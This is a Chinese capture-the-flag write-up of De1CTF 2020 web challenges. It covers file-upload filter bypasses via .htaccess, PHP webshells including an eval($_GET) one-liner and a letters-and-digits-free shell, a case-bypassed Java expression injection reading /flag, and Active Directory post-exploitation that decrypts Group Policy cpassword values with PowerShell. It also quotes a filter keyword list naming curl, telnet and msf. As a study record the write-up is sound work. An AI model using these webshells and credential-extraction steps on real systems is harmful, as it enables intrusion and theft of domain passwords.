记录一下de1ctf的一些题目,过程有点自闭,但是看完wp觉得出的还不错。
没给出代码,明显的文件上传,随便传几个文件可以看见一些提示。
规定了后缀,内容上过滤了
1 | perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet |
抓包发现修改content-type可以绕过后缀的限制,想起之前.htaccess上传,对ph的过滤可以采用\换行连接,尝试了一下可以上传成功。


上传一个图片马即可getshell,但是要注意内容过滤的绕过,可以采用php短标签。<?= 等价于 <? echo
1 | eval($_GET['kt']); =@ |
链接之后根目录下看可以得到文件。

出题人的预期解法:
.htaccess启用CGI。
1 | Options +ExecCGI |
solve.sh
1 | #!/bin/bash |
F12找到传参点

发现过滤new,但是不过滤大小写,可以绕
构造
1 | calc?calc=neW%20java.util.Scanner(neW%20java.io.File(%22/flag%22)).next() |
即可。

这题前面还好说,后面的不咋会,记录学习一下。
1 |
|
给了源代码,还是文件上传绕过。
文件大小小于2048还有一个check(),可以看看。
1 | function Check(){ |
后缀限制为php不够严格存在大小写绕过,内容检查里不能出现字母数字和一些符号。
不能传字母和数字肯定就是无字母数字shell了。网上有现成的。但是他过滤了~^没办法异或构造。到这里了就没了….因为太菜了不怎么会弄这种shell….
拿个别人的payload:
1 | system($_POST[_]); |
相当于
1 | =$_=[] |
成功

执行了半天没反应,居然是windows??
然后再写一个shell,POST下面的命令
1 | echo /*"""*/<?php eval($_POST[kt]);//" > 2.php |
成功

AT连一下

翻翻目录,找到一个压缩包

下载打开要密码…
接下来就是域渗透的内容了,看了点文章记录一下。
1 | net user /domain |
查看域用户,发现一个提示,用户的密码可能就是压缩包密码。

先看一下当前用户所处的域
1 | ipconfig/all |

进入De1CTF2020.lab的域共享文件夹/SYSVOL中

寻找相应id的配置文件

cpassword是由AES加密的,256AES很难攻击。但是根据文章说的微软公开了私钥,所以有现成的脚本PowerShell脚本可以破译。
1 | function Get-DecryptedCpassword { |
更换密文之后创建1.ps上传到服务器上在服务器上执行
1 | powershell -executionpolicy bypass -file 1.ps1 > 123.txt |
我这的AT终端执行没回显不懂为什么….直接命令写进文件里看算了。
有了

解压缩包
完成!学到了一些渗透的姿势了hah。
有点难的样子,感觉不适合我…